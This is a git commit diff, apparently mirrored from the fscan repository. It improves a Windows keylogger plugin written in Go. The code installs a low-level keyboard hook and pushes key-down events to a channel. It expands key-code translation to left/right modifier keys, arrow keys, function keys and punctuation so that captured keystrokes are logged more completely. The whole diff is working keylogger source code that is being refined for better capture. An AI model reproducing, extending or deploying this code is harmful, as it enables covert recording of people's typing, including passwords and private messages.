mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
fix: 修复Windows键盘记录特殊键识别问题
- 支持识别左右Shift键(VK_LSHIFT/VK_RSHIFT) - 支持识别左右Ctrl键(VK_LCONTROL/VK_RCONTROL) - 支持识别左右Alt键(VK_LMENU/VK_RMENU) - 增加方向键、功能键和基本标点符号支持 - 简化键盘事件处理逻辑提升性能 - 统一字母输出为小写格式
This commit is contained in:
parent
4e237f6bc3
commit
ebe7c631fa
@ -28,7 +28,9 @@ var (
|
|||||||
const (
|
const (
|
||||||
WH_KEYBOARD_LL = 13
|
WH_KEYBOARD_LL = 13
|
||||||
WM_KEYDOWN = 0x0100
|
WM_KEYDOWN = 0x0100
|
||||||
|
WM_KEYUP = 0x0101
|
||||||
WM_SYSKEYDOWN = 0x0104
|
WM_SYSKEYDOWN = 0x0104
|
||||||
|
WM_SYSKEYUP = 0x0105
|
||||||
)
|
)
|
||||||
|
|
||||||
type (
|
type (
|
||||||
@ -162,7 +164,7 @@ func (p *KeyloggerPlugin) startKeyboardHook() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// keyboardHookProc Hook回调函数 - 最高效版本
|
// keyboardHookProc Hook回调函数 - 简化版本
|
||||||
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||||
// 立即调用下一个Hook,确保系统响应
|
// 立即调用下一个Hook,确保系统响应
|
||||||
ret, _, _ := procCallNextHookEx.Call(
|
ret, _, _ := procCallNextHookEx.Call(
|
||||||
@ -176,17 +178,22 @@ func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
|||||||
if nCode >= 0 && eventChannel != nil {
|
if nCode >= 0 && eventChannel != nil {
|
||||||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||||
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||||||
|
vkCode := kbdStruct.VkCode
|
||||||
|
|
||||||
// 非阻塞发送事件
|
|
||||||
select {
|
keychar := quickKeyChar(vkCode)
|
||||||
case eventChannel <- KeyboardEvent{
|
if keychar != "" {
|
||||||
Kind: KeyDown,
|
// 非阻塞发送事件
|
||||||
Rawcode: uint16(kbdStruct.VkCode),
|
select {
|
||||||
Keychar: quickKeyChar(kbdStruct.VkCode),
|
case eventChannel <- KeyboardEvent{
|
||||||
Timestamp: time.Now(),
|
Kind: KeyDown,
|
||||||
}:
|
Rawcode: uint16(vkCode),
|
||||||
default:
|
Keychar: keychar,
|
||||||
// 通道满了就跳过,不阻塞系统
|
Timestamp: time.Now(),
|
||||||
|
}:
|
||||||
|
default:
|
||||||
|
// 通道满了就跳过,不阻塞系统
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -240,13 +247,18 @@ func (p *KeyloggerPlugin) writeLogHeader() {
|
|||||||
logFile.Sync()
|
logFile.Sync()
|
||||||
}
|
}
|
||||||
|
|
||||||
// quickKeyChar 快速键码转字符(高度优化版本)
|
// quickKeyChar 快速键码转字符(简化版本)
|
||||||
func quickKeyChar(vkCode DWORD) string {
|
func quickKeyChar(vkCode DWORD) string {
|
||||||
switch {
|
switch {
|
||||||
case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9
|
// 数字0-9
|
||||||
|
case vkCode >= 0x30 && vkCode <= 0x39:
|
||||||
return string(rune(vkCode))
|
return string(rune(vkCode))
|
||||||
case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z
|
|
||||||
return string(rune(vkCode + 32)) // 转小写
|
// 字母A-Z (统一转小写)
|
||||||
|
case vkCode >= 0x41 && vkCode <= 0x5A:
|
||||||
|
return string(rune(vkCode + 32))
|
||||||
|
|
||||||
|
// 基本特殊字符
|
||||||
case vkCode == 0x20:
|
case vkCode == 0x20:
|
||||||
return " "
|
return " "
|
||||||
case vkCode == 0x0D:
|
case vkCode == 0x0D:
|
||||||
@ -255,14 +267,47 @@ func quickKeyChar(vkCode DWORD) string {
|
|||||||
return "[Backspace]"
|
return "[Backspace]"
|
||||||
case vkCode == 0x09:
|
case vkCode == 0x09:
|
||||||
return "[Tab]"
|
return "[Tab]"
|
||||||
case vkCode == 0x10:
|
|
||||||
return "[Shift]"
|
|
||||||
case vkCode == 0x11:
|
|
||||||
return "[Ctrl]"
|
|
||||||
case vkCode == 0x12:
|
|
||||||
return "[Alt]"
|
|
||||||
case vkCode == 0x1B:
|
case vkCode == 0x1B:
|
||||||
return "[Esc]"
|
return "[Esc]"
|
||||||
|
case vkCode == 0x2E:
|
||||||
|
return "[Delete]"
|
||||||
|
|
||||||
|
// 方向键
|
||||||
|
case vkCode == 0x25:
|
||||||
|
return "[Left]"
|
||||||
|
case vkCode == 0x26:
|
||||||
|
return "[Up]"
|
||||||
|
case vkCode == 0x27:
|
||||||
|
return "[Right]"
|
||||||
|
case vkCode == 0x28:
|
||||||
|
return "[Down]"
|
||||||
|
|
||||||
|
// 特殊键 (包括左右Shift/Ctrl/Alt)
|
||||||
|
case vkCode == 0x10 || vkCode == 0xA0 || vkCode == 0xA1: // VK_SHIFT, VK_LSHIFT, VK_RSHIFT
|
||||||
|
return "[Shift]"
|
||||||
|
case vkCode == 0x11 || vkCode == 0xA2 || vkCode == 0xA3: // VK_CONTROL, VK_LCONTROL, VK_RCONTROL
|
||||||
|
return "[Ctrl]"
|
||||||
|
case vkCode == 0x12 || vkCode == 0xA4 || vkCode == 0xA5: // VK_MENU, VK_LMENU, VK_RMENU
|
||||||
|
return "[Alt]"
|
||||||
|
|
||||||
|
// 基本标点符号
|
||||||
|
case vkCode == 0xBA: // ;
|
||||||
|
return ";"
|
||||||
|
case vkCode == 0xBB: // =
|
||||||
|
return "="
|
||||||
|
case vkCode == 0xBC: // ,
|
||||||
|
return ","
|
||||||
|
case vkCode == 0xBD: // -
|
||||||
|
return "-"
|
||||||
|
case vkCode == 0xBE: // .
|
||||||
|
return "."
|
||||||
|
case vkCode == 0xBF: // /
|
||||||
|
return "/"
|
||||||
|
|
||||||
|
// 功能键
|
||||||
|
case vkCode >= 0x70 && vkCode <= 0x7B: // F1-F12
|
||||||
|
return fmt.Sprintf("[F%d]", vkCode-0x6F)
|
||||||
|
|
||||||
default:
|
default:
|
||||||
return "" // 跳过其他按键,保持高性能
|
return "" // 跳过其他按键,保持高性能
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user